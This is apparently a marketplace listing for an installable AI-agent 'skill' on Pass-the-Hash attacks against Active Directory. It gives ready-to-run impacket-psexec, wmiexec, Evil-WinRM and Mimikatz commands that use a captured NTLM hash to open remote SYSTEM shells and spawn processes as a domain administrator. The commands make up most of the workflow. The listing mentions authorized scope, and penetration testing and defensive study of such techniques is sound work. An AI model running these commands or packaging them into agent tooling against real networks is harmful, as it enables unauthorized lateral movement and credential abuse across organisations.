## Install

```sh
agentstack add skill-shulkwisec-bb-huge-ad-pass-the-hash
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# Pass-the-Hash (PtH)

## When to Use
- When you have successfully dumped credentials (e.g., from SAM, LSASS, or NTDS.dit) and acquired the NTLM hash of a target user, but the hash resists cracking efforts.
- To perform lateral movement to other machines where the compromised user has administrative access.

## Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture

## Workflow

### Phase 1: Acquiring the NTLM Hash

Hashes are typically formatted as `LM_HASH:NTLM_HASH`.
Example: `aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29`
*(Note: Active Directory no longer stores the LM hash by default, so it's usually the blank `aad3...04ee` value, but the NTLM portion is what matters).*

### Phase 2: Execution via Impacket (Linux/Mac)

Impacket provides multiple tools that support the `-hashes` flag to interact with Windows protocols (SMB, WMI, RPC) via PtH.

```bash
# Concept: Gain an interactive SYSTEM shell over SMB impacket-psexec Administrator@192.168.1.50 -hashes aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29

# Gain a semi-interactive shell over WMI (stealthier) impacket-wmiexec target.local/Administrator@192.168.1.50 -hashes :88e4d9fabaecf3dec18dd80905521b29
```

### Phase 3: Execution via Evil-WinRM

If WinRM (Port 5985) is enabled on the target, Evil-WinRM provides a highly stable PowerShell session.

```bash
# evil-winrm -i 192.168.1.50 -u Administrator -H 88e4d9fabaecf3dec18dd80905521b29
```

### Phase 4: Execution via Mimikatz (Windows)

If you are operating directly from a compromised Windows machine, you can inject the hash into memory to spawn a process under the context of the target user.

```cmd
# mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:target.local /ntlm:88e4d9fabaecf3dec18dd80905521b29 /run:cmd.exe" "exit"
```
*A new command prompt will open running as the user, allowing access to network shares and execution across the domain.*
